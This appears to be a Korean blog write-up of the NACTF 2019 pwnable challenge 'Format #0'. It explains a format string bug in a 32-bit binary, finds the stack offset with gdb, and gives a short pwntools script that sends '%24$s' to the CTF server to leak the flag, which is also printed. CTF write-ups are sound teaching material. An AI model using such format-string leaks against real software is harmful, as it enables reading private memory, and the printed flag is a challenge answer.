SDJ( 수돈재 아님 ㅎ )

NACTF 2019 - Format #0 본문

write-up/pwnable

NACTF 2019 - Format #0

ShinDongJun 2019. 9. 23. 12:15

32bit 바이너리에 Partial RELRO가 걸려있다.

 

 

처음 main()함수에서 flag파일을 읽어와 s에 적어준 뒤, vuln(); 함수를 실행시킨다.

 

그리고 vuln()함수에는 format string bug ( FSB ) 취약점이 존재한다.

따라서 포맷스트링을 이용해 main함수에서 flag를 적은 s를 출력해 주면 flag를 얻을 수 있다.

 

인자 위치를 찾기위해 gdb로 열어보자

 

먼저 가상 flag.txt파일을 만들어주었다.

 

그리고 포맷스트링 직전 인자값들을 확인하기 위해 FSB가 일어나는 printf 직전에 breakpoint를 걸어준다.

 

사진과 같이 파란색 0xffffcebc 위치에 우리가 입력한 AAAA... flag.txt파일이 적혀있는 것을 볼 수 있다.

따라서 파란색 인자의 위치인 24번째 위치를 %s로 출력해주면 flag가 나올 것이다.

 

exploit code

 

1
2
3
4
5
6
7
from pwn import *
 
#p = process("./format-0")
= remote("shell.2019.nactf.com",31782)
p.sendline("%24$s")
 
p.interactive()

 

flag : nactf{Pr1ntF_L34k_m3m0ry_r34d_nM05f469}

'write-up > pwnable' 카테고리의 다른 글

NACTF 2019 - Loopy #0  (0) 2019.09.23
NACTF 2019 - Format #1  (0) 2019.09.23
NACTF 2019 - BufferOverflow #2  (0) 2019.09.23
NACTF 2019 - BufferOverflow #1  (0) 2019.09.23
NACTF 2019 - BufferOverflow #0  (0) 2019.09.23
Comments